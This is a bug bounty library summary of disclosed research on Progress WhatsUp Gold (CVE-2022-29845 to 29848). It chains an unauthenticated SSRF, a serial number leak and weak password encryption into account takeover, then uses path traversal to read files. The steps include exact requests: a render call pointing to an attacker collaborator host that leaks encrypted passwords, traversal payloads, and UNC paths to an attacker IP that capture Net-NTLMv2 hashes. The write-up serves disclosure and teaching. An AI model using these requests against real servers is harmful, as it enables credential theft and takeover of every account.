# Chaining vulnerabilities to criticality in Progress WhatsUp Gold

Unauthenticated SSRF in WhatsUp Gold leaks encrypted credentials; serial number disclosure plus static key decrypts all user passwords, then post-auth path traversal reads files and steals Net-NTLMv2 hashes.

- Payout: Research
- Severity: critical
- Program: Progress WhatsUp Gold
- Credited: Assetnote
- Disclosed: 2024-01-31
- CVE: CVE-2022-29845, CVE-2022-29846, CVE-2022-29847, CVE-2022-29848
- Write-up quality: 8/10
- Original: https://www.assetnote.io/resources/research/chaining-vulnerabilities-to-criticality-in-progress-whatsup-gold
- Library page: https://bugbountylibrary.com/r/blog%3Aassetnote-io-resources-research-chaining-vulnerabilities-to-criticality-in-progress-whatsup-gold
- Tags: domain:web impact:ato impact:data-leak kind:research platform:research sev:critical tech:dotnet technique:chained technique:source-review vuln:crypto vuln:info-disclosure vuln:path-traversal vuln:ssrf

**Target:** C# ASP.NET MVC web app (NmConsole API controllers)
**Root cause:** RenderController's [AllowAnonymous] Put passes attacker-controlled baseUrl/userId into an HTTP client that requests Session/Login with the user's encrypted password; password encryption uses a static key plus a salt derived from the deployment serial number, which is disclosed pre-auth via evalPane.asp.
**Steps:**
1. Decompile WhatsUp Gold DLLs; find RenderController with [AllowAnonymous] Put(JObject config) calling RenderReport.
2. Send `PUT /NmConsole/api/core/render` with `{"baseUrl":"http://<collaborator>","userId":1,"renderType":"xml","title":"t"}` to receive `Session/Login/?sUsername=...&sPassword=<encrypted>` in Collaborator.
3. Iterate userId to harvest usernames and encrypted passwords for all users.
4. Fetch serial number pre-auth: `GET /NmConsole/$Nm/Core/Page-NmPage/evalPane/evalPane.asp`.
5. Debug WugLoginCryptographyWrapper in Rider to learn salt comes from GetSaltFromRegistry (serial number), not the static salt.
6. Build C# PoC importing WhatsUp DLLs calling decryption with encrypted password + serial number to recover plaintext.
7. Authenticate, then `GET /NmConsole/api/core/AlarmCustomizer/Get?fileName=../../../../../../../../../../Windows/win.ini` for LFD.
8. Use `fileName=\\<attacker-ip>\C$\Windows\win.ini` to trigger SMB auth and capture Net-NTLMv2 hash in Responder.
9. Alternatively `GET /NmConsole/api/core/WebContent/Get?id=\\<attacker>\C$\Windows\win.ini` for post-auth hash leak.
**How found:** Mapped pre-auth attack surface by searching decompiled C# for [AllowAnonymous] controllers; found RenderController passing JSON to RenderReport, traced to LoginAsync sink. Noticed unfamiliar encrypted password format, assumed custom crypto; static analysis suggested static salt but decryption failed, so attached Rider debugger to the live process and discovered salt came from registry serial number; then found evalPane.asp leaking that serial pre-auth.
**Exploitation:** Unauthenticated attacker uses the render SSRF to exfiltrate encrypted passwords for every userId, obtains the serial number from evalPane.asp, decrypts passwords offline with the vendor DLLs, logs in as any user, then uses Path.Combine traversal in AlarmCustomizer/WebContent to read local files or force SMB authentication to an attacker host to capture Net-NTLMv2 hashes for relay/cracking.
**Escalation:** Chained medium-severity SSRF + serial disclosure + weak crypto into full account takeover of all users, then post-auth LFD and Net-NTLMv2 theft for lateral movement.
**Insight:** When static analysis of a crypto routine fails to decrypt, attach a debugger to the running process to see which branch actually executes — constructor-injected defaults can silently override the constant you found. Also grep decompiled code for [AllowAnonymous] and trace every JSON field into HTTP client BaseAddress sinks.
